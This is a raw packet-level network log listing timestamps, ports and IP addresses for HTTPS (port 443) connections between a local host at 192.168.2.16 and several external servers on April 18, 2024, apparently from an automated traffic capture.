Apr 18, 2024 23:05:31.577080965 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.577088118 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.577130079 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.577151060 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.578618050 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.578658104 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.578680992 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.578687906 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.578727961 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.578756094 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.578797102 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.579025984 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.579036951 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.610225916 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.610315084 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.610394001 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.610601902 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.610639095 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.715533972 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.715573072 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.715634108 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.716125011 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.716135979 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.726360083 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.726387978 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.726449013 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.726794004 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.726807117 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.790182114 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.790482998 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.790508986 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.790971041 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.791323900 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.791393042 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.791496038 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.828383923 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.836136103 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.836179018 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.836203098 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.836926937 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.838408947 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.838500023 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.838583946 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.838583946 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.838617086 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.891377926 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.937542915 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.941523075 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.941545010 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.943216085 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.943489075 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.943604946 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.943662882 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.943676949 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.944231033 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.945607901 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.945717096 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.945738077 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.945857048 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.945955992 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.946017027 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.946027040 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:31.987492085 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:31.988116980 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.025794983 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:32.026010036 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:32.026259899 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:32.026261091 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:32.026331902 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:32.026392937 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:32.026490927 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:32.097266912 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097326040 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097366095 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097405910 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097439051 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097450972 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.097507954 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097538948 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.097601891 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.097635031 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.097996950 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098042011 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098076105 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.098093033 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098139048 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098155022 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.098169088 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098378897 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.098498106 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098623991 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.098727942 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.099241018 CEST	49751	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.099272966 CEST	443	49751	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197074890 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197175026 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197216034 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197278023 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197293043 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197318077 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197334051 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197360039 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197410107 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197446108 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197449923 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197462082 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197527885 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197561979 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197562933 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197611094 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197643995 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197643995 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197657108 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197710037 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197710037 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.197727919 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.197792053 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.198005915 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.200957060 CEST	49753	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:32.200994015 CEST	443	49753	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:32.209507942 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209579945 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209625959 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209659100 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.209671021 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209686995 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209755898 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209799051 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209825039 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.209825039 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.209827900 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209857941 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.209985018 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211162090 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211234093 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211273909 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211323023 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211360931 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211374044 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211587906 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211649895 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211729050 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211766005 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211805105 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211838007 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211848021 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211911917 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211920023 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211981058 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.211991072 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.211998940 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212055922 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212074041 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.212080956 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212538958 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.212548018 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212888002 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212934971 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.212970972 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213006973 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.213012934 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213025093 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213197947 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.213207960 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213670015 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213743925 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.213803053 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.217550993 CEST	49752	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:32.217571974 CEST	443	49752	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:32.249454021 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.249495029 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.249613047 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.249826908 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.249835968 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.341206074 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.341243982 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.341829062 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.342036963 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.342052937 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.480791092 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.481334925 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.481359959 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.484767914 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.484960079 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.485630989 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.485630989 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.485709906 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.530401945 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.530425072 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.555233002 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.557513952 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.557535887 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.558980942 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.559078932 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.559489965 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.559567928 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.559660912 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.559669018 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.577502966 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.609472036 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.739475965 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.739662886 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.741365910 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.741578102 CEST	49754	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:32.741599083 CEST	443	49754	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:32.822722912 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.822848082 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.822891951 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.822932005 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.822959900 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.822988987 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823009968 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.823036909 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823081970 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823132992 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823157072 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.823163986 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823242903 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.823568106 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823837996 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823882103 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823909044 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.823915005 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823959112 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.823982000 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.823991060 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824119091 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.824639082 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824714899 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824737072 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.824743032 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824790955 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824812889 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.824817896 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.824925900 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.824939013 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825567961 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825611115 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825635910 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.825642109 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825681925 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825720072 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825745106 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.825753927 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.825778008 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.826431036 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.826466084 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.826503992 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.826524973 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.826530933 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.826555014 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.826560974 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827322960 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827368021 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827409029 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827435017 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.827435017 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.827445984 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827491045 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827609062 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.827615976 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.827737093 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.828114986 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.828210115 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.828248024 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.828272104 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.828278065 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.828291893 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.828428984 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.828435898 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.829076052 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.829116106 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.829137087 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.829144001 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.829197884 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.926928997 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.926989079 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927001953 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.927026033 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927067995 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.927669048 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927725077 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.927731037 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927799940 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927839041 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.927844048 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927900076 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.927937031 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.927942991 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.928798914 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.928847075 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.928853035 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.928942919 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.928987026 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.928991079 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.929039001 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.929075956 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.929080963 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.929301023 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:32.929351091 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.929414988 CEST	49755	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:32.929430008 CEST	443	49755	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.226888895 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.226984978 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.227062941 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.227365017 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.227400064 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.231589079 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.231615067 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.231756926 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.231901884 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.231914043 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.445317030 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.445585966 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.445611000 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.446002960 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.446065903 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.446212053 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.446270943 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.446419001 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.446537018 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.446557999 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.447396040 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.447675943 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.447761059 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.447773933 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.447863102 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.488157034 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.491385937 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.491410017 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.704169035 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.704355001 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.704431057 CEST	49757	443	192.168.2.16	104.17.3.184
